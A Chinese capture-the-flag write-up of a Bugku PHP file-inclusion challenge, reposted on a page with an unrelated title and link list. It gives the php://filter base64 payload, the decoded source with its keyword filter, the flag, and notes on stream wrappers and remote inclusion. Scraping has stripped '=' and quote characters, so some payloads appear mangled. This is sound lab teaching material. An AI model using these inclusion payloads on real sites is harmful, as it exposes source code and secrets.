当前位置: 首页 > news >正文

学做网站看什么wordpress引导页死循环

学做网站看什么,wordpress引导页死循环,网站推广阶段,网站源码怎么获取题目描述 题目截图如下#xff1a; 进入场景看看#xff1a; 解题思路 你说啥我就干啥#xff1a;点击一下试试你会想到PHP伪协议这方面去嘛#xff0c;你有这方面的知识储备吗#xff1f; 相关工具 解题步骤 查看源码 看到了一点提示信息#xff1a; ./index.…题目描述 题目截图如下 进入场景看看 解题思路 你说啥我就干啥点击一下试试你会想到PHP伪协议这方面去嘛你有这方面的知识储备吗 相关工具 解题步骤 查看源码 看到了一点提示信息 ./index.php?fileshow.php点击后显示 看到?fileXXX.php那不就是典型的文件包含吗 页面显示了index.php,那就修改试试打不开 ?fileindex.php我是个菜鸡想不到也不知道什么是PHP伪协议:请看【新知识点】部分 这里需要用的一个伪协议php://filter:是一种元封装器 设计用于数据流打开时的筛选过滤应用。 可以使用php://filter获取指定文件源码 ?filephp://filter/resourcexxx.php发现啥也没有显示这是因为: 通常获取源代码时伪协议将xxx.php当文件执行使得很多信息往往不能直接显示在浏览器页面上通常使用base64编码后再显示 ?filephp://filter/convert.base64-encode/resourceindex.phpconvert.base64-encode是一个过滤器看到encode可以知道这是一个加密的过滤那自然就有convert.base64-decode,解密了。简单来说就是对数据流进行编码通常用来读取文件源码。 这样做的好处就是如果不进行编码文件包含后就不会有输出结果而是当做php文件执行了而通过编码后则可以读取文件源码。 这里对资源文件show.php进行加密了所以显示 aW5kZXgucGhw加上后进行base64解密就可以复现index.php 现内容就是index.php,说明show.php没有隐藏信息。 所以同理对index.php使用伪协议执行一下 http://114.67.175.224:15954/?filephp://filter/convert.base64-encode/resourceindex.php可以看到一串很长的东西但注意最后的必须下意识去解密看看 77u/PGh0bWwDQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGUDQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2M2ZjMwYWZiMDJkYmU2YTU5ODMzODZjNWQzZTA0MTJjfQ0KPz4NCjwvaHRtbD4NCg得到 htmltitleBugku-web/title?phperror_reporting(0);if(!$_GET[file]){echo a href./index.php?fileshow.phpclick me? no/a;}$file$_GET[file];if(strstr($file,../)||stristr($file, tp)||stristr($file,input)||stristr($file,data)){echo Oh no!;exit();}include($file); //flag:flag{c6f30afb02dbe6a5983386c5d3e0412c} ? /html 可以看到注释有flag了 PS 参考其他WP发现都使用了一个read,这是啥 可以看到说是这个参数可以不选在PHP伪协议中read是一个用于读取文件内容的操作符。它可以与伪协议中的其他操作符结合使用用于读取文件的特定部分或指定偏移量的内容。 使用read操作符时你需要指定一个文件路径和一个长度参数。read操作符将返回指定长度的文件内容。 ?filephp://filter/readconvert.base64-encode/resourceindex.php稍微解释下这个做法: php://filter/ 是一种访问本地文件的协议/readconvert.base64-encode/ 表示读取的方式是 base64 编码后resourceindex.php 表示目标文件为index.php。 问什么要进行 base64 编码呢如果不进行 base64 编码传入index.php 就会直接执行我们就看不到文件中的内容了。 得到Flag flag{c6f30afb02dbe6a5983386c5d3e0412c}新知识点 PHP伪协议 PHP伪协议是一种特殊的协议用于访问和操作不同资源和数据。以php://开头并提供了一组预定义的流封装器用于处理各种不同的资源和操作。可以用于访问和操作本地文件、远程文件、网络服务、数据库、压缩文件等。使用PHP伪协议可以像访问本地文件一样访问远程文件。常见的PHP伪协议及其用途 php://filter可用于从不同来源如文件、网络套接字或PHP输入/输出流读取或写入数据。php://input用于访问HTTP请求中的原始请求体的数据比如处理POST请求时可以使用这个协议来获取请求的数据。php://output用于将数据输出到标准输出流可以通过这个协议来实现将数据发送至浏览器。php://stdin用于读取标准输入流中的数据可以通过这个协议来处理从命令行输入的数据。php://stderr用于将错误信息输出到标准错误流可以通过这个协议将错误日志输出到命令行或日志文件。php://memory用于创建一个可读写的内存流可以通过这个协议来存储和操作数据。php://temp用于创建一个可读写的临时文件流可以通过这个协议来存储和操作数据。file://用于访问本地文件系统中的文件可以通过这个协议来读取和写入文件。http://用于访问远程HTTP资源可以通过这个协议来获取远程服务器上的数据。ftp://用于访问远程FTP服务器上的文件可以通过这个协议来上传和下载文件。1 file:// — 访问本地文件系统 2 http:// — 访问 HTTP(s) 网址 3 ftp:// — 访问 FTP(s) URLs 4 php:// — 访问各个输入/输出流I/O streams 5 zlib:// — 压缩流 6 data:// — 数据RFC 2397 7 glob:// — 查找匹配的文件路径模式 8 phar:// — PHP 归档 9 ssh2:// — Secure Shell 2 10 rar:// — RAR 11 ogg:// — 音频流 12 expect:// — 处理交互式的流 php://filter的语法如下 php://filter/[action]/resource[action]指定要执行的过滤操作类型[resource]是要过滤的文件或流的名称。 例如可以使用以下代码从文件中使用特定的过滤器读取数据 $filteredData file_get_contents(php://filter/readfilter_name/resourcepath/to/file);类似地可以使用以下代码将数据写入文件并应用过滤器 file_put_contents(php://filter/writefilter_name/resourcepath/to/file, $data);在这些示例中filter_name是要应用的过滤器的名称。PHP中有各种内置过滤器可用如zlib.inflate、string.toupper、string.rot13等。您还可以使用PHP提供的过滤器API创建自定义过滤器。 使用php://filter可以在不将数据保存到物理文件中的情况下处理数据流或者在读取或写入数据之前对数据应用特定的转换时非常有用。 文件包含漏洞 在开发过程中当频繁需要跳转网页或者需要某个函数时程序员喜欢将重复的函数写到一个单独的文件中在需要时调用文件这种文件调用叫做文件包含。 但是这也产生了文件包含漏洞产生原因是在通过 PHP 的函数引入文件时为了灵活包含文件会将被包含文件设置为变量通过动态变量来引入需要包含的文件。 此时用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过就会导致文件包含漏洞。 分类 本地包含 当包含的文件在服务器本地时就形成了本地文件包含。文件包含可以包含任意文件被包含的文件可以不是 PHP 代码可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行如果包含的文件内容不符合 php 语法会直接将文件内容输出。例如下面这段简易的代码 ?php$file $_GET[file];include($file); ?远程包含 当包含的文件在远程服务器上时就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同远程文件包含需要在 php.ini 中设置 allow_url_include on是否允许 include/require 远程文件 allow_url_fopen on是否允许打开远程文件参考链接 PHP伪协议详解CTF-WEBPHP 伪协议探索php://filter在实战当中的奇技淫巧 有用的话请点赞收藏评论帮助更多的同学哦
http://www.pierceye.com/news/775462/

相关文章:

  • 怎样做浏览的网站不被发现互联网营销师报考条件
  • 电子商务网站建设与电子支付网站进不去怎么解决
  • 微信网站模板下载电子商务网站建设的四个步骤
  • 网站内如何做论坛建设网站宝安区
  • 公司网站管理制定的作用网站建设设计文档模板
  • 做网站 附加信息全网整合营销公司
  • 做网站都需要用到什么软件每年网站备案抽查
  • 网站如何做电脑和手机软件ps素材网站大全
  • 佛山网站建设培训高能建站
  • 网站开发的相关技能广州有哪些广告公司
  • jsp网站设计用以前用过的域名做网站
  • 魔兽世界做宏网站家具设计与工程就业前景
  • 网站案例介绍平面设计网址推荐
  • 网站上的验证码怎么做简书 导入 wordpress
  • 想把公司的外部网站替换金戈枸橼酸西地那非片
  • 个人可以做社区网站淄博网站文章优化
  • 晋中建设集团网站windows图标wordpress
  • 如何创建商业网站为网站网站做代理被判缓刑
  • 个人备案做运营网站wordpress公众号源码
  • 营销网站服务器郑州金水区
  • 陕煤化建设集团铜川分公司网站大冶建设局网站
  • 网站如何制作django企业网站开发实例
  • 免费网站建设软件大全平面设计与网页设计
  • 建设网站 怀疑对方传销 网站制作 缓刑网站ip如何做跳转
  • 公司网站建设要求书网页怎么弄到桌面快捷方式
  • 做网站 公司 个体学校网站建设板块分析
  • 如何让百度更新网站收录wordpress图片处理类
  • 镜像网站能否做google排名企业做网站需要注意什么
  • 网站设计公司名称dz网站恢复数据库
  • 展示网站和营销网站的区别舆情分析师